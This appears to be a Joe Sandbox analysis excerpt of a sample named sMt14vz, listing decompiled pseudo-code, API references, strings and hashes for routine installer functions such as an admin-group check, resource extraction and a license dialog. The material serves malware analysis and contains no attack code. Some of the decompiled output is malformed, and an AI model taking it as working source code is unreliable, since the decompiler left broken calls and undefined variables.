API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID:
API String ID: 3785188418-0
Opcode ID: f61249711ae0ca172162997c3f9c493125508eaae56054a3a4ab591920176c35
Instruction ID: e7c354eeecb0eac7bcecf55f03de144189e80e11bee0505d6b49e3669d2d2fb2
Opcode Fuzzy Hash: f61249711ae0ca172162997c3f9c493125508eaae56054a3a4ab591920176c35
Instruction Fuzzy Hash: 8111A279246322FBDB615B38AC0CB6A3AB4FB46760F004611FDD59A188DB7A9141C746

Uniqueness

Uniqueness Score: -1.00%

Function 010D17EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E010D17EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0x10da288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E010D6CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x010d17f6
0x010d17fd
0x010d1805
0x010d180b
0x010d180d
0x010d1815
0x010d1818
0x010d1820
0x010d1824
0x010d182c
0x010d1832
0x010d1837
0x010d1851
0x010d1854
0x010d185d
0x010d1862
0x010d186c
0x010d1872
0x010d1877
0x010d187e
0x010d187e
0x010d1883
0x010d1883
0x010d185d
0x010d188a
0x010d188a
0x010d18a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,010D18DD), ref: 010D181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 010D182C
AllocateAndInitializeSid.ADVAPI32(010D18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,010D18DD), ref: 010D1855
FreeSid.ADVAPI32(?,?,?,?,010D18DD), ref: 010D1883
FreeLibrary.KERNEL32(00000000,?,?,?,010D18DD), ref: 010D188A

Strings

advapi32.dll, xrefs: 010D1810
CheckTokenMembership, xrefs: 010D1826

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 59e87de73d36ee5632968a36a5a67421e357c07ea05833e216dc49000e2459cc
Instruction ID: 6911a63cad9597fe5b53701bd0f8797e374e17b008e9d01c5ed974faa547f455
Opcode Fuzzy Hash: 59e87de73d36ee5632968a36a5a67421e357c07ea05833e216dc49000e2459cc
Instruction Fuzzy Hash: 87116375F01309EBEB109FA5EC4AABEBFB8EF44701F100169FA45E7241DB7599008B91

Uniqueness

Uniqueness Score: -1.00%

Function 010D2AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E010D2AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0x10d8004; // 0xc2f4ed82
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0x10d9a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E010D1680(_t65, E010D17C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E010D65E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E010D1680(_t65, E010D17C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E010D6CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x010d2aac
0x010d2ab7
0x010d2abc
0x010d2abe
0x010d2ac3
0x010d2ac6
0x010d2ac9
0x010d2ace
0x010d2ae6
0x010d2bdc
0x010d2bdc
0x010d2be0
0x00000000
0x00000000
0x010d2af2
0x010d2afc
0x010d2b00
0x010d2b05
0x010d2b05
0x010d2b0b
0x010d2bca
0x010d2bd1
0x010d2b11
0x010d2b18
0x010d2b26
0x010d2b99
0x010d2bc8
0x00000000
0x00000000
0x010d2b9b
0x010d2bae
0x010d2bb3
0x010d2bb5
0x010d2bb5
0x010d2bb8
0x010d2bb8
0x010d2bba
0x010d2bbb
0x00000000
0x010d2bb8
0x010d2b28
0x010d2b2e
0x010d2b33
0x010d2b39
0x010d2b3c
0x010d2b3c
0x010d2b3e
0x010d2b3f
0x010d2b55
0x010d2b5d
0x010d2b64
0x010d2b64
0x010d2b7a
0x010d2b7f
0x010d2b81
0x010d2b81
0x010d2b84
0x010d2b84
0x010d2b86
0x010d2b87
0x010d2bbf
0x010d2bc1
0x010d2bc1
0x010d2b26
0x010d2bda
0x010d2bda
0x010d2be6
0x010d2be6
0x010d2bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 010D2AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 010D2AF2
CharNextA.USER32(?), ref: 010D2B12
CharUpperA.USER32 ref: 010D2B1E
CharPrevA.USER32(?,?), ref: 010D2B55
CharNextA.USER32(?), ref: 010D2BD4

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 58dc4d5e6137a29ac59ac4ff64c1cc32aa7059256d1ca200806aff194ac9d9f9
Instruction ID: 60d7d86120d8d08918df4a71e9fa53ba7b73dafe168394525f39c6f1d90ec185
Opcode Fuzzy Hash: 58dc4d5e6137a29ac59ac4ff64c1cc32aa7059256d1ca200806aff194ac9d9f9
Instruction Fuzzy Hash: 8D4118346043469FDF669F388854AFD7FA99F46320F0440DAECC287202DF7A4A86CB60

Uniqueness

Uniqueness Score: -1.00%

Function 010D43D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E010D43D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E010D6CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x010d43d0
0x010d43d8
0x010d43df
0x010d43e6
0x010d43ec
0x010d43f1
0x010d4400
0x010d4403
0x010d440b
0x010d4420
0x010d4429
0x010d4437
0x010d4444
0x010d4447
0x010d444d
0x010d4454
0x010d445b
0x010d4460
0x010d4461
0x010d4467
0x010d446f
0x010d4473
0x010d4473
0x010d4463
0x010d4463
0x010d4463
0x010d447a
0x010d4481
0x010d4484
0x010d448a
0x010d4492
0x010d4496
0x010d4496
0x010d4486
0x010d4486
0x010d4486
0x010d44b8

APIs

GetWindowRect.USER32(?,?), ref: 010D43F1
GetWindowRect.USER32(00000000,?), ref: 010D440B
GetDC.USER32(?), ref: 010D4423
GetDeviceCaps.GDI32(00000000,00000008), ref: 010D442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 010D443A
ReleaseDC.USER32(?,00000000), ref: 010D4447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 010D44A2

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: a33d349861f8dd773c7d2e40bd2adca0baafa087f95f1b9ec30c6bdf644cb6a2
Instruction ID: a39bc5c6ce436d90c1c018c0fc32957bfef0124b8f8d874e0ab644b788be2fe8
Opcode Fuzzy Hash: a33d349861f8dd773c7d2e40bd2adca0baafa087f95f1b9ec30c6bdf644cb6a2
Instruction Fuzzy Hash: D0314C36F01219AFCB14CFB8D9889EEBBB5EB89310F154169F845F3244DA35AD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010D6298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E010D6298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E010D171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0x10d9124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0x10da288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E010D171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E010D6CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x010d6298
0x010d62a0
0x010d62a7
0x010d62ad
0x010d62af
0x010d62bb
0x010d62c3
0x010d62c4
0x010d633b
0x010d633b
0x010d6345
0x010d634d
0x00000000
0x00000000
0x010d62da
0x010d62de
0x010d635f
0x010d6369
0x010d62e0
0x010d62e0
0x010d62e0
0x010d62e3
0x010d62e5
0x010d62e5
0x010d62e8
0x010d62e8
0x010d62ea
0x010d62eb
0x010d62ef
0x010d62f1
0x010d62f3
0x010d6302
0x010d6308
0x010d630d
0x010d6314
0x010d6314
0x010d6316
0x010d6319
0x010d6355
0x010d6357
0x010d631b
0x010d631b
0x010d6331
0x010d6334
0x010d6339
0x00000000
0x010d6339
0x010d6319
0x010d636b
0x010d637d
0x010d637d
0x00000000

APIs

Part of subcall function 010D171E: _vsnprintf.MSVCRT ref: 010D1750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,010D51CA,00000004,00000024,010D2F71,?,00000002,00000000), ref: 010D62CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,010D51CA,00000004,00000024,010D2F71,?,00000002,00000000), ref: 010D62D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,010D51CA,00000004,00000024,010D2F71,?,00000002,00000000), ref: 010D631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 010D6345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,010D51CA,00000004,00000024,010D2F71,?,00000002,00000000), ref: 010D6357

Strings

UPDFILE%lu, xrefs: 010D62B3, 010D6329

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 5b8f3b9528e3a6f45a81d147806e22adb3b97cc454c0e9938dd83829476ec852
Instruction ID: eafcae948d7a83224712c047b25765c22b6ee6561c54dea6767eddbb8e272d05
Opcode Fuzzy Hash: 5b8f3b9528e3a6f45a81d147806e22adb3b97cc454c0e9938dd83829476ec852
Instruction Fuzzy Hash: 1021B175A01319ABDB209FA5DC459FEBB78FF49714B004159FA82A3201DB3B99028BE0

Uniqueness

Uniqueness Score: -1.00%

Function 010D681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E010D681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t19 ^ _t44;
				_t41 =  *0x10d81d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0x10d81d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0x10d81d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0x10d1140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E010D66F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0x10d81d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E010D6CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x010d681f
0x010d682a
0x010d6831
0x010d6836
0x010d683c
0x010d683e
0x010d6848
0x010d6851
0x010d685d
0x010d6864
0x010d6876
0x010d693a
0x010d693a
0x010d687c
0x010d687e
0x010d6885
0x00000000
0x010d68d6
0x010d68f4
0x010d6900
0x010d6902
0x010d690a
0x00000000
0x010d690c
0x010d690c
0x010d691c
0x00000000
0x010d691e
0x010d6924
0x010d692b
0x010d6932
0x00000000
0x00000000
0x00000000
0x010d692b
0x010d691c
0x010d690a
0x010d6885
0x010d6876
0x010d6951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 010D686E
GetSystemMetrics.USER32(0000004A), ref: 010D68A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 010D68CC
RegQueryValueExA.ADVAPI32(?,010D1140,00000000,?,?,0000000C), ref: 010D68F4
RegCloseKey.ADVAPI32(?), ref: 010D6902

Part of subcall function 010D66F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,010D691A), ref: 010D6741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 010D68C2

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: a1ddcb2fabe611b4c590f6752fbda34e1d5e9525309e79f661a6c679b1f92d4a
Instruction ID: 35dbbeb920bfdb71449df6871520d112ff26c760ebba1734d82daf2e57241b1d
Opcode Fuzzy Hash: a1ddcb2fabe611b4c590f6752fbda34e1d5e9525309e79f661a6c679b1f92d4a
Instruction Fuzzy Hash: F331BF31A01328DFDB31DB25CC04BEABBBCEB45728F0441E5E9C9A2240DB369A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 010D3A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D3A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E010D468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0x10d8d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E010D468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0x10d8d4c, "<None>") == 0) {
							LocalFree( *0x10d8d4c);
							L9:
							 *0x10d9124 = 0;
							return 1;
						}
						_t9 = E010D6517(_t19, 0x7d1, 0, E010D3100, 0, 0);
						LocalFree( *0x10d8d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0x10d9124 = 0x800704c7;
						L2:
						return 0;
					}
					E010D44B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0x10d8d4c);
					 *0x10d9124 = 0x80070714;
					goto L2;
				}
				E010D44B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x10d9124 = E010D6285();
				goto L2;
			}

0x010d3a46
0x010d3a57
0x010d3a5d
0x010d3a63
0x010d3a6a
0x010d3a91
0x010d3a9a
0x010d3ad8
0x010d3b13
0x010d3b19
0x010d3b1b
0x00000000
0x010d3b21
0x010d3ae7
0x010d3af4
0x010d3afc
0x00000000
0x00000000
0x010d3afe
0x010d3a87
0x00000000
0x010d3a87
0x010d3aa8
0x010d3ab3
0x010d3ab9
0x00000000
0x010d3ab9
0x010d3a78
0x010d3a82
0x00000000

APIs

Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46A0
Part of subcall function 010D468F: SizeofResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46A9
Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46C3
Part of subcall function 010D468F: LoadResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46CC
Part of subcall function 010D468F: LockResource.KERNEL32(00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46D3
Part of subcall function 010D468F: memcpy_s.MSVCRT ref: 010D46E5
Part of subcall function 010D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,010D2F64,?,00000002,00000000), ref: 010D3A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 010D3AB3

Part of subcall function 010D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010D4518
Part of subcall function 010D44B9: MessageBoxA.USER32(?,?,010D9154,00010010), ref: 010D4554

Part of subcall function 010D6285: GetLastError.KERNEL32(010D5BBC), ref: 010D6285

lstrcmpA.KERNEL32(<None>,00000000), ref: 010D3AD0
LocalFree.KERNEL32 ref: 010D3B13

Part of subcall function 010D6517: FindResourceA.KERNEL32(?,000007D6,00000005), ref: 010D652A
Part of subcall function 010D6517: LoadResource.KERNEL32(?,00000000,?,?,010D2EE8,00000000,010D19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 010D6538
Part of subcall function 010D6517: DialogBoxIndirectParamA.USER32(?,00000000,00000547,010D19E0,00000000), ref: 010D6557
Part of subcall function 010D6517: FreeResource.KERNEL32(00000000,?,?,010D2EE8,00000000,010D19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 010D6560

LocalFree.KERNEL32(00000000,010D3100,00000000,00000000), ref: 010D3AF4

Strings

<None>, xrefs: 010D3AC5
LICENSE, xrefs: 010D3A46

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: ff89d49b2123b624564249f13ae596b4a9ea1d06d5522cd3a10469d01ce8c5a6
Instruction ID: 4dd91eac1c6de813060fe98d8434212d624c28c95947da7688c0a5efd10f17b9
Opcode Fuzzy Hash: ff89d49b2123b624564249f13ae596b4a9ea1d06d5522cd3a10469d01ce8c5a6
Instruction Fuzzy Hash: D2118774702301ABD7346F7A9C09E5B3AF9EBD5750B00442EBDC5DA598DA7F88008765

Uniqueness

Uniqueness Score: -1.00%

Function 010D24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E010D24E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E010D658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E010D6CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x010d24e0
0x010d24eb
0x010d24f2
0x010d24f7
0x010d2504
0x010d250e
0x010d251d
0x010d252c
0x010d2541
0x010d2546
0x010d2553
0x010d2555
0x010d2555
0x010d2546
0x010d256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 010D2506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 010D252C
_lopen.KERNEL32(?,00000040), ref: 010D253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 010D254C
_lclose.KERNEL32(00000000), ref: 010D2555

Strings

wininit.ini, xrefs: 010D2510

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
